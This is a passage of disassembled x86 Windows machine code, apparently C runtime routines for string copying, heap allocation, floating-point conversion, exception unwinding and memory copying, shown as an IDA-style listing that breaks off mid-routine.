loc_415BD3: ; CODE XREF: sub_415BBF+Aj
mov edx, [esp+arg_4]
push esi
loc_415BD8: ; CODE XREF: sub_415BBF+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_415BD8
pop esi
retn
sub_415BBF endp
; =============== S U B R O U T I N E =======================================
sub_415BE9 proc near ; CODE XREF: sub_403166+21Dp
; sub_4033B6+BEp ...
arg_0 = dword ptr 4
push dword_46BB64
push [esp+4+arg_0]
call sub_415BFB
pop ecx
pop ecx
retn
sub_415BE9 endp
; =============== S U B R O U T I N E =======================================
sub_415BFB proc near ; CODE XREF: sub_415BE9+Ap
; sub_416655+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_415C24
loc_415C02: ; CODE XREF: sub_415BFB+27j
push [esp+arg_0]
call sub_415C27
test eax, eax
pop ecx
jnz short locret_415C26
cmp [esp+arg_4], eax
jz short locret_415C26
push [esp+arg_0]
call sub_418A88
test eax, eax
pop ecx
jnz short loc_415C02
loc_415C24: ; CODE XREF: sub_415BFB+5j
xor eax, eax
locret_415C26: ; CODE XREF: sub_415BFB+13j
; sub_415BFB+19j
retn
sub_415BFB endp
; =============== S U B R O U T I N E =======================================
sub_415C27 proc near ; CODE XREF: sub_415BFB+Bp
arg_0 = dword ptr 4
mov eax, dword_46D168
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_415C4B
cmp esi, dword_46D160
ja short loc_415C7D
push esi
call sub_419011
test eax, eax
pop ecx
jz short loc_415C7D
pop esi
retn
; ---------------------------------------------------------------------------
loc_415C4B: ; CODE XREF: sub_415C27+Dj
cmp eax, 2
jnz short loc_415C7D
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_415C60
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_415C63
; ---------------------------------------------------------------------------
loc_415C60: ; CODE XREF: sub_415C27+2Fj
push 10h
pop esi
loc_415C63: ; CODE XREF: sub_415C27+37j
cmp esi, dword_43A634
ja short loc_415C8A
mov eax, esi
shr eax, 4
push eax
call sub_419AB4
test eax, eax
pop ecx
jnz short loc_415C99
jmp short loc_415C8A
; ---------------------------------------------------------------------------
loc_415C7D: ; CODE XREF: sub_415C27+15j
; sub_415C27+20j ...
test esi, esi
jnz short loc_415C84
push 1
pop esi
loc_415C84: ; CODE XREF: sub_415C27+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_415C8A: ; CODE XREF: sub_415C27+42j
; sub_415C27+54j
push esi
push 0
push dword_46D164
call dword_42114C ; RtlAllocateHeap
loc_415C99: ; CODE XREF: sub_415C27+52j
pop esi
retn
sub_415C27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C9B proc near ; CODE XREF: sub_4033B6+10Bp
; sub_4033B6+113p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_415D01
mov eax, dword_46D168
cmp eax, 3
jnz short loc_415CC7
push esi
call sub_418CBD
pop ecx
test eax, eax
push esi
jz short loc_415CF3
push eax
call sub_418CE8
pop ecx
pop ecx
jmp short loc_415D01
; ---------------------------------------------------------------------------
loc_415CC7: ; CODE XREF: sub_415C9B+14j
cmp eax, 2
jnz short loc_415CF2
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_419A18
add esp, 0Ch
test eax, eax
jz short loc_415CF2
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_419A6F
add esp, 0Ch
jmp short loc_415D01
; ---------------------------------------------------------------------------
loc_415CF2: ; CODE XREF: sub_415C9B+2Fj
; sub_415C9B+44j
push esi
loc_415CF3: ; CODE XREF: sub_415C9B+20j
push 0
push dword_46D164
call dword_421150 ; RtlFreeHeap
loc_415D01: ; CODE XREF: sub_415C9B+Aj
; sub_415C9B+2Aj ...
pop esi
leave
retn
sub_415C9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415D04(double)
sub_415D04 proc near ; CODE XREF: sub_404630+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_4383B0
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_415D8A
call sub_41A579
pop ecx
test eax, eax
pop ecx
jle short loc_415D6D
cmp eax, 2
jle short loc_415D5F
cmp eax, 3
jnz short loc_415D6D
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_419E89
add esp, 10h
jmp short loc_415DCF
; ---------------------------------------------------------------------------
loc_415D5F: ; CODE XREF: sub_415D04+3Fj
push esi
push ebx
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415DCF
; ---------------------------------------------------------------------------
loc_415D6D: ; CODE XREF: sub_415D04+3Aj
; sub_415D04+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_415DC7
; ---------------------------------------------------------------------------
loc_415D8A: ; CODE XREF: sub_415D04+2Fj
call sub_41A53E
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_415DAD
loc_415D9F: ; CODE XREF: sub_415D04+ACj
push esi
push ebx
call sub_41A6B1
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_415DCF
; ---------------------------------------------------------------------------
loc_415DAD: ; CODE XREF: sub_415D04+99j
test bl, 20h
jnz short loc_415D9F
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_415DC7: ; CODE XREF: sub_415D04+84j
call sub_419EDC
add esp, 1Ch
loc_415DCF: ; CODE XREF: sub_415D04+59j
; sub_415D04+67j ...
pop esi
pop ebx
leave
retn
sub_415D04 endp
; =============== S U B R O U T I N E =======================================
sub_415DD3 proc near ; CODE XREF: sub_41781A+9p
; sub_41A77A+21p
; DATA XREF: ...
call sub_415DEB
call sub_41A77A
mov dword_46BAE0, eax
call sub_41A72A
fnclex
retn
sub_415DD3 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_415DEB proc near ; CODE XREF: sub_415DD3p
mov eax, offset sub_41AB68
mov off_43A754, offset sub_41A7FD
mov off_43A750, eax
mov off_43A758, offset sub_41A863
mov off_43A75C, offset sub_41A7A3
mov off_43A760, offset sub_41A84B
mov off_43A764, eax
retn
sub_415DEB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E24 proc near ; CODE XREF: sub_404630+1Bp
; sub_404630+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_415E24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415E4B(double)
sub_415E4B proc near ; CODE XREF: sub_40467C+83p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_4383C8
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_415ED1
call sub_41A579
pop ecx
test eax, eax
pop ecx
jle short loc_415EB4
cmp eax, 2
jle short loc_415EA6
cmp eax, 3
jnz short loc_415EB4
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_419E89
add esp, 10h
jmp short loc_415F16
; ---------------------------------------------------------------------------
loc_415EA6: ; CODE XREF: sub_415E4B+3Fj
push esi
push ebx
call sub_41A6B1
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415F16
; ---------------------------------------------------------------------------
loc_415EB4: ; CODE XREF: sub_415E4B+3Aj
; sub_415E4B+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_415F0E
; ---------------------------------------------------------------------------
loc_415ED1: ; CODE XREF: sub_415E4B+2Fj
call sub_41A53E
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_415EF4
loc_415EE6: ; CODE XREF: sub_415E4B+ACj
push esi
push ebx
call sub_41A6B1
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_415F16
; ---------------------------------------------------------------------------
loc_415EF4: ; CODE XREF: sub_415E4B+99j
test bl, 20h
jnz short loc_415EE6
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_415F0E: ; CODE XREF: sub_415E4B+84j
call sub_419EDC
add esp, 1Ch
loc_415F16: ; CODE XREF: sub_415E4B+59j
; sub_415E4B+67j ...
pop esi
pop ebx
leave
retn
sub_415E4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F1A proc near ; CODE XREF: sub_41AFD9+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_415F1A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_415F4E proc near ; CODE XREF: sub_41B18A+199p
; sub_41B34E+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_415F4E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415F55 proc near ; CODE XREF: sub_41B18A+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_415F55 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F5C proc near ; CODE XREF: sub_41610E+5Cp
; sub_41AFD9:loc_41B00Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_415F84
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_420A0C ; RtlUnwind
loc_415F84: ; DATA XREF: sub_415F5C+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_415F5C endp
; ---------------------------------------------------------------------------
loc_415FAB: ; CODE XREF: .text:00420B68j
; .text:00420B85j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41ABDE
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415FE1 proc near ; CODE XREF: sub_41B054+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_416035
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41B3E0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_415FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416035 proc near ; DATA XREF: sub_415FE1+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41ABDE
add esp, 20h
pop ebp
retn
sub_416035 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41605A proc near ; CODE XREF: sub_41AE20+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41610E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_4160E0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_46BB88
pop ecx
pop ecx
and [ebp+var_34], 0
loc_4160E0: ; DATA XREF: sub_41605A+3Co
cmp [ebp+var_4], 0
jz short loc_4160FD
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_416106
; ---------------------------------------------------------------------------
loc_4160FD: ; CODE XREF: sub_41605A+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_416106: ; CODE XREF: sub_41605A+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41605A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41610E proc near ; DATA XREF: sub_41605A+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_416131
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41617E
; ---------------------------------------------------------------------------
loc_416131: ; CODE XREF: sub_41610E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41ABDE
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41616F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_415F5C
loc_41616F: ; CODE XREF: sub_41610E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41617E: ; CODE XREF: sub_41610E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41610E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416183 proc near ; CODE XREF: sub_41AC79+C6p
; sub_41AE20+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_4161DA
loc_4161A1: ; CODE XREF: sub_416183+52j
cmp esi, 0FFFFFFFFh
jnz short loc_4161AB
call sub_41B482
loc_4161AB: ; CODE XREF: sub_416183+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_4161C0
cmp ecx, [eax+8]
jle short loc_4161C5
loc_4161C0: ; CODE XREF: sub_416183+36j
cmp esi, 0FFFFFFFFh
jnz short loc_4161D1
loc_4161C5: ; CODE XREF: sub_416183+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_4161D1: ; CODE XREF: sub_416183+40j
cmp [ebp+arg_4], 0
jge short loc_4161A1
mov eax, [ebp+var_4]
loc_4161DA: ; CODE XREF: sub_416183+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_4161EE
cmp esi, eax
jbe short loc_4161F3
loc_4161EE: ; CODE XREF: sub_416183+65j
call sub_41B482
loc_4161F3: ; CODE XREF: sub_416183+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_416183 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416200 proc near ; CODE XREF: sub_41D6A4+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_416218
push [ebp+arg_0]
call sub_420A0C ; RtlUnwind
loc_416218: ; DATA XREF: sub_416200+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416200 endp
; =============== S U B R O U T I N E =======================================
sub_416220 proc near ; DATA XREF: sub_416242+Ao
; sub_4162AA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_416241
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_416241: ; CODE XREF: sub_416220+10j
retn
sub_416220 endp
; =============== S U B R O U T I N E =======================================
sub_416242 proc near ; CODE XREF: sub_41B0FA+Dp
; sub_41D6A4+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_416220
push large dword ptr fs:0
mov large fs:0, esp
loc_41625F: ; CODE XREF: sub_416242:loc_41629Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41629C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41629C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41629A
push 101h
mov eax, [ebx+esi*4+8]
call sub_4162D6
call dword ptr [ebx+esi*4+8]
loc_41629A: ; CODE XREF: sub_416242+44j
jmp short loc_41625F
; ---------------------------------------------------------------------------
loc_41629C: ; CODE XREF: sub_416242+2Aj
; sub_416242+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_416242 endp
; =============== S U B R O U T I N E =======================================
sub_4162AA proc near ; CODE XREF: sub_41B11A+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_416220
jnz short locret_4162CC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_4162CC
mov eax, 1
locret_4162CC: ; CODE XREF: sub_4162AA+10j
; sub_4162AA+1Bj
retn
sub_4162AA endp
; =============== S U B R O U T I N E =======================================
sub_4162CD proc near ; CODE XREF: sub_41B3E0+1Ep
; sub_41B3E0+40p
push ebx
push ecx
mov ebx, offset dword_4383CC
jmp short loc_4162E0
sub_4162CD endp
; =============== S U B R O U T I N E =======================================
sub_4162D6 proc near ; CODE XREF: sub_416242+4Fp
; sub_41D6A4+78p
push ebx
push ecx
mov ebx, offset dword_4383CC
mov ecx, [ebp+8]
loc_4162E0: ; CODE XREF: sub_4162CD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_4162D6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4162F0 proc near ; CODE XREF: sub_40467C+5p
; sub_40481B+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_4162F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41630F proc near ; CODE XREF: sub_404CE4+22p
; .text:004207E5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_415C9B
pop ecx
retn
sub_41630F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416320 proc near ; CODE XREF: sub_404D51+3Ap
; sub_418CE8+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_39 = byte ptr 41h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_416340
cmp edi, eax
jb loc_4164B8
loc_416340: ; CODE XREF: sub_416320+16j
test edi, 3
jnz short loc_41635C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
loc_41635C: ; CODE XREF: sub_416320+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_416374
and eax, 3
add ecx, eax
jmp dword ptr loc_41637C+4[eax*4]
; ---------------------------------------------------------------------------
loc_416374: ; CODE XREF: sub_416320+46j
jmp dword ptr loc_416478[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41637C: ; CODE XREF: sub_416320+31j
; sub_416320+8Ej ...
jmp off_4163FC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 63h, 41h, 0
dd offset loc_4163BC
dd offset loc_4163E0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4163BC: ; DATA XREF: sub_416320+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4163E0: ; DATA XREF: sub_416320+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4163FC dd offset loc_41645F ; DATA XREF: sub_416320:loc_41637Cr
dd offset loc_41644C
dd offset loc_416444
dd offset loc_41643C
dd offset loc_416434
dd offset loc_41642C
dd offset loc_416424
dd offset loc_41641C
; ---------------------------------------------------------------------------
loc_41641C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_416424: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41642C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_416434: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41643C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_416444: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41644C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41645F: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320:off_4163FCo
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 4
off_416468 dd offset loc_416478 ; DATA XREF: sub_416320+35r
; sub_416320+92r ...
dd offset loc_416480
dd offset loc_41648C
dd offset loc_4164A0
; ---------------------------------------------------------------------------
loc_416478: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_416480: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41648C: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4164A0: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4164B8: ; CODE XREF: sub_416320+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_4164EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4164E0: ; CODE XREF: sub_416320+1B1j
; sub_416320+208j ...
neg ecx
jmp off_4165B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4164EC: ; CODE XREF: sub_416320+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_416504
and eax, 3
sub ecx, eax
jmp dword ptr loc_416504+4[eax*4]
; ---------------------------------------------------------------------------
loc_416504: ; CODE XREF: sub_416320+1D6j
